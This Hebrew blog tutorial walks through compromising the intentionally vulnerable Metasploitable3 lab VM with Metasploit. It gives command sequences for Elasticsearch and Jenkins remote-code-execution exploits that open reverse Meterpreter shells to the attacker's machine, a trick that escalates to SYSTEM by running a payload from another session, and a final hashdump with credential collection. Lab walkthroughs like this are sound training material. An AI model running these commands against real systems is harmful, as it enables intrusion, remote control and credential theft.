כל הזכויות שמורות לטל בן שושן – Shushan.co.il
Exploitation Of Metasploitable3
על מנת לבצע את המאמר, יש לעבור תחילה על המאמרים הבאים:
Kali & Metasploit
התקנת Kali 2017.3
הגדרה ראשונית של Kali והוספת Repository
הסבר הגדרה והפעלת Metasploit
פקודות ושימוש ב Metasploit
Metasplooitable3
הסבר והתקנת Metasploitable3
סריקת Metasploitable3 על ידי NMAP
Exploitation Of Metasploitable3
במאמר זה נראה כיצד "לתקוף" את Metasploitable3 , אחרי שבצענו סריקה לתחנה על ידי Nmap וגילנו את השירותים
נתמקד תחילה בשירות האחרון בתמונה
פורט 9200 שהוא Elasticsearch גירסה 1.1.1, נבדוק בMetasploit האם קיים Exploit למערכת ה Elasticsearch
לפני שנתחיל בסריקות, בדיקות וכו' . נבצע עדכון ל Metasploit על ידי הקשת הפקודה
apt update; apt install metasploit-framework
נוכל לבצע חיפוש בגוגל על האפליקציה והגירסה שלה בתוספת
Elasticsearch REST API 1.1.1 Vulnerability
והתוצאה הראשונה היא שיש Exploit
אפשרות נוספת היא בMetasploit זה לבצע חיפוש (הדרך הכי מומלצת)
רשמו
search Elasticsearch
התוצאה שיש כמה פגיעויות, אבל המשמעותית ביותר וברמה Excellent זו זו
exploit/multi/elasticsearch/script_mvel_rce
נוכל להבחין שזהו הנתיב אל ה Exploit
exploit/multi/elasticsearch/script_mvel_rce
כעת נשתמש ב Exploit אז נקיש
use exploit/multi/elasticsearch/script_mvel_rce
כעת נגדיר את ה Payload
set payload java/meterpreter/reverse_tcp
*הבחינו כי זה payload מסוג Java ולא של Windows , אסביר בהמשך
כעת נגדיר את הכתובת של שרת ה Metasploitable3
setg rhost 192.168.31.228
* הגדרתי setg – ה G מסמל Global שכן ההגדרה תיהיה קבועה ב Workspace בו אנחנו עובדים
אל תשכחו lhosts (זה הכתובת IP של הקאלי שלכם)
set lhost 192.168.31.242
נפעיל את ה Exploit אז נקיש
exploit
כעת נקיש getlwd
getlwd
נוכל לראות שאנחנו נמצאים ב /root שזה נתיב לינוקס, גם אם נקיש
load -l
על מנת לבדוק איזה Extensions יש לנו נוכל לראות שיש רק את stdapi, מוזר לא?
הסיבה כמובן היא שהExploit הזה הוא לJava ובסיסו בקוד של יוניקס ואין לו גישה בפועל למערכת ההפעלה אבל! יש לו גישת System, אז אך נוכל לנצל זאת?
נקיש
background
ונעביר את ה Meterpreter שלנו לרקע, על מנת לבדוק איזה עוד אפשרויות יש לנו…
כאשר ממשיכים לחקור, את השרת, מוצאים עוד נקודות חולשה, בסוף הרשימה תוכלו לראות שיש שירות פתוח בשם Jenkins
בדיקה של איזה עוד שירותים עובדים עם Jenkins מגלים שגם הפורט 8484 עם השירות
Jetty winstone-2.8
בדיקה בגוגל
אפילו אם נקיש את כתובת ה IP של השרת + הפורט
http://192.168.31.228:8484
יוביל אותנו לשרת ה Jenkins
נבצע כעת חיפוש בMetasploit
search Jenkins
נוכל להבחין שיש Enumartion, כך נוכל לדעת יותר פרטים
כעת נקיש
use auxiliary/scanner/http/jenkins_enum
נקיש את סט הפקודות להגדרת האפשרויות שחייב על מנת להריץ את ה Auxiliary
setg rhosts 192.168.31.228
set RPORT 8484
set targeturi /
ה / שהקשתי מכוון את הAuxiliary אל המיקום של האתר והמיקום שלו הוא הראשי / אם הוא היה בתוך תיקייה אז הייתי מכניס foldername/
run
מצויין! כעת קיבלנו יותר פרטים כמו גירסה והכל
כעת נשתמש בExploit שמצאנו בחיפוש
use exploit/multi/http/jenkins_script_console
כעת נקיש את סט הפקודות כמו בפעם הקודמת, אל תשכחו שזה Exploit ולכן צריך Payload
setg rhost 192.168.31.228
set targeturi /
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.31.242
*מגדיר את כתובת ה IP שלי
כעת אגדיר את הפורטים
set rport 8484
ואגדיר את הפורט החוזר כ 5555
set lport 5555
כעת נרשום Exploit ואז נמתין
כעת נעבור ליישום יותר יציב
למשל PID של ה Explorer הוא 484, נבצע Migrate
migrate 484
אוי… הוא רושם שאין לנו מספיק הרשאות, לאחר בדיקה ב ps נוכל לראות שהיישום שלנו רץ עם הרשאות Network Services
אבל אפשר לבצע את זה אחרת, זוכרים את ה Session ששמרנו קודם לכן? כעת נשתמש בו
אבל לפני כן הקישו ps לרשימת התהליכים
ps
והעתיקו את הנתיב כולו של התהליך בו רץ ה Payload שלנו, אצלי למשל זה
C:\windows\servic~2\locals~1\AppData\local\temp\SFnZc.exe
כעת נכניס גם את ה Meterpreter הזה לBackground
אם נקיש
sessions -l
נוכל לראות את 2 החיבורים שלנו
אז מה אנחנו מבצעים? ה Exploit הראשון שלנו הElasticsearch רץ עם משתמש ה System, אבל בתוך התהליך ולכן אינו יכול לטעון Extensions נוספים חוץ מ stdapi.
מצד אחר הצלחנו לבצע Exploit ל Jenkins, והמשתמש איתו Jenkins מחובר כ- Network Service שההרשאות שלו לא מספיקות.
אז אנחנו ניקח את קובץ ה Payload שרץ ברקע של Jenkins ונריץ אותו על ידי ה Payload של הElasticsearch שרץ עם הרשאות System 🙂
אבל לפני כן, עלינו ליצור Handler שימתין להתקשרות שתפתח מהרצת הקובץ הזה שוב, שכן כל הרצה שלו פותחת Session חדש
נגדיר כעת
use exploit/multi/handler
נגדיר את ה Meterpreter האהוב עלינו
set payload windows/meterpreter/reverse_tcp
נגדיר את הפורט
set lport 5555
וכעת נפעיל את ה Handler על ידי הפקודה
exploit -j
-j יכניס אותו אוטומטית לרקע
כעת ה Handler ממתין לחיבור חדש, מצויין
נבדוק את רשימת ה Session שלנו
sessions -l
נוכל לראות שאצלי ה Java Meterpreter הוא מספר 2
נקיש
sessions 2
נעתיק את הכתובת ששמרנו בצד של ה exe שרץ על ידי הJenkins Meterpreter
נעתיק לפנקס רשימות \ Leafpad
ואז נוסיף
execute -H -f "C:\\windows\\servic~2\\locals~1\\AppData\\local\temp\\SFnZc.exe"
הוספתי את השורה execute…. ואז עוד \ לכל \ שקיים, למה? בגלל שאנחנו מריצים את הפקודה ב Meterpreter אז חייב
כעת נדביק את זה
ברגע שנלחץ Enter נוכל לראות שנפתח שיחה חדשה, מספר 4
לשיחה הזו צריך להיות את כל ההרשאות שאנחנו צריכים
נעביר לרקע את השיחה שאנחנו נמצאים בה עכשיו
background
נוכל לראות את מספר 4
נעבור לשיחה מספר 4
sessions 4
ואם נבדוק שכל ה Extensions יכולים להיטען
load -l
מעולה! כעת אפשר לבצע hashdump לכל המשתמשים ולהמשיך ב Privilege Escalation
run post/windows/gather/credentials/credential_collector
run post/windows/manage/migrate
run post/windows/gather/hashdump